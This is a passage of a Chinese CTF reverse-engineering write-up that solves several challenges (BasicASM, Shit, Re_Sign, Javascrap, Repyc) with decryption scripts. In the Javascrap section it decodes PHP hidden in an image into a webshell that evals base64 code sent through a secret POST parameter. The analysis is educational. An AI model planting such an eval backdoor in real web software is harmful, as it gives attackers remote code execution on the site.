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")
f = open("s.jpeg", "wb")
f.write(s)
f.close()

得到flag

image-20211018181215405

[SUCTF2019]hardcpp

2019 SUCTF | Lantern’s 小站

[NPUCTF2020]BasicASM

根据分析主要就干了如下操作(python实现)

for i in range(len(flag)):
if i & 1:
print(hex(flag[i] ^ 0x42)[2:])
else:
print(hex(flag[i])[2:])

则解密脚本如下

enc = bytes.fromhex("662e61257b26301d7972751d6b2c6f355f3a38742d74341d61776d7d7d")
flag = []
sign = True
for i in enc:
if sign:
flag.append(i)
sign = False
else:
flag.append(i ^ 0x42)
sign = True
print(bytes(flag))

[MRCTF2020]Shit

既然给了源码,那就偷下懒吧, 看到decode

void decode()
{
unsigned int k=0,bk=0;
for(int i=5;i>=0;i--)
if(i>0)
ks[i]^=ks[i-1];
for(int i=0;i<24;i+=4)
{
k=ks[i/4];
k=(1<<key[i/4])^k;
k=((k>>16)) | ((~(k<<16))&0xffff0000);
k=((k<<key[i/4])) | (k>>(32-key[i/4]));
printf("%X\n",k);
}
}

其中key为生成出来的,直接写个程序跑一下genKey即可

#include <stdio.h>
int map[100],c=2;
int key[7]={'b','k','d','c','e','w'};
int main() {
int len=20,keylen=6,maxium=0;
int before;
map[0]=2;c--;
key[0]='a';
key[1]='k';
key[2]='e';
key[3]='y';
key[4]='e';
key[5]='z';
srand(time(NULL));
for(int i=1;i<=len;i++)
{
map[i]=map[i-1]+rand()%5;
maxium=maxium>map[i]?maxium:map[i];
}
before=time(NULL);
for(int i=0;i<keylen;i++)
{
int step=0;
long long t=time(NULL);
int delta=t-before;
if(delta>maxium)
return;

for(int j=0;j<=len;j++)
if(delta<=map[j])
{
step=map[j];
break;
}
key[i]=(key[i]*c+step+i*3)%32;
before=t;
}
for(int i = 0; i < 6; i++) {
printf("0x%x, ", key[i]);
}
return 0;
}

最终解密脚本如下

ks = [0x8c2c133a, 0xf74cb3f6, 0xfedfa6f2, 0xab293e3b, 0x26cf8a2a, 0x88a1f279]
key = [0x03,0x10,0x0d,0x04,0x13,0x0b]
k = 0
bk = 0
flag = b""
for i in range(5, 0, -1):
ks[i] ^= ks[i-1]
for i in range(0, 24, 4):
k = ks[i//4]
k = (1 << key[i//4]) ^ k
k = ((k >> 16)) | ((~(k << 16)) & 0xffff0000)
k = ((k << key[i//4])) | (k >> ((32-key[i//4]) & 0xff))
k &= 0xffffffff
flag += bytes.fromhex(hex(k)[2:])

print(flag)

不得不说,有了源码解起来真方便,不然还得过反调, 反调还被hook

HellScream

4. 2016年 第19题 - 看雪 2016 CTF题解视频 - 其他内容 - 看雪-安全培训|安全招聘|www.kanxue.com

[原创]看雪2016 第十九题 CrackMe逆向分析-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com

[BUU]HellScream_m0_46296905的博客-CSDN博客

不看题解看不出来大数运算……..

[De1CTF2019]Re_Sign

upx加壳了,不知道为什么用upx程序解压不了,直接ESP定律大法解压出来

根据字符串找到主要函数

image-20211019203613830

动调发现输入111会变成EP4f, 这种3字符变4字符很像base64

在输入后,在输入处下硬件断点,动调在Encrypt中找到新表

接着进入checkFunc, 动调找到比对位置

image-20211019205121824

通过sub_402160得到 编码后的字符 在原表中的位置,并跟v18[v17]对比

则解密脚本如下:

s = [0x00000008, 0x0000003B, 0x00000001, 0x00000020, 0x00000007, 0x00000034, 0x00000009, 0x0000001F, 0x00000018, 0x00000024, 0x00000013, 0x00000003, 0x00000010, 0x00000038, 0x00000009, 0x0000001B, 0x00000008, 0x00000034, 0x00000013, 0x00000002, 0x00000008, 0x00000022, 0x00000012, 0x00000003, 0x00000005, 0x00000006, 0x00000012, 0x00000003, 0x0000000F, 0x00000022, 0x00000012, 0x00000017, 0x00000008, 0x00000001, 0x00000029, 0x00000022, 0x00000006, 0x00000024, 0x00000032, 0x00000024, 0x0000000F, 0x0000001F, 0x0000002B, 0x00000024, 0x00000003, 0x00000015]
table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
cipher = []
for i in s:
cipher.append(table[i-1])
cipher = bytes(cipher) + b"=="
print(cipher)
new_table = b"0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/="
import base64
cipher = cipher.translate(bytes.maketrans(new_table, table))
plain = base64.b64decode(cipher)
print(plain)

[FlareOn1]Javascrap

打开html, 可以看到

image-20211029205523970

用010Editor查看图片,在文件末尾看到php代码

<?php $terms = array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
$order = array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me = "";
for ($i = 0;$i < count($order);$i++) {
$do_me = $do_me . $terms[$order[$i]];
}
eval($do_me); ?>

eval改为echo

image-20211029210012101

找个在线工具打印一下

$_=\'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';
$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));

其中$___$__

➜  Desktop bpython3
bpython version 0.17.1 on top of Python 3.6.9 /usr/bin/python3
>>> s = b"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"
>>> s
b'base64_decode'
>>> base64.b64decode('JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7')
b'$code=base64_decode($_);eval($code);'

base64_decode($_)

>>> base64.b64decode("aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9")
b'if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"])) { eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"])); }'

其中字符串 \97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D为: a11DOTthatDOTjava5crapATflareDASHonDOTcom

替换DOT => . ,DASH => - ,AT => @得flag

a11.that.java5crap@flare-on.com

[watevrCTF 2019]Repyc

用在线反编译工具python反编译 - 在线工具 (tool.lu),反编译出来一个python虚拟机

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
佤 = 0
侰 = ~佤 * ~佤
俴 = 侰 + 侰


def 䯂():
굴 = 佤
굿 = 佤
괠 = [佤] * 俴 ** (俴 * 俴)
궓 = [佤] * 100
괣 = []
while 䵦[굴][佤] != "\xeb\x93\x83":
굸 = 䵦[굴][佤].lower()
亀 = 䵦[굴][侰:]
if 굸 == "\xeb\x89\x83":
괠[亀[佤]] = 괠[亀[侰]] + 괠[亀[俴]]
elif 굸 == "\xeb\xa0\x80":
괠[亀[佤]] = 괠[亀[侰]] ^ 괠[亀[俴]]
elif 굸 == "\xeb\xa0\xb3":
괠[亀[佤]] = 괠[亀[侰]] - 괠[亀[俴]]
elif 굸 == "\xeb\x83\x83":
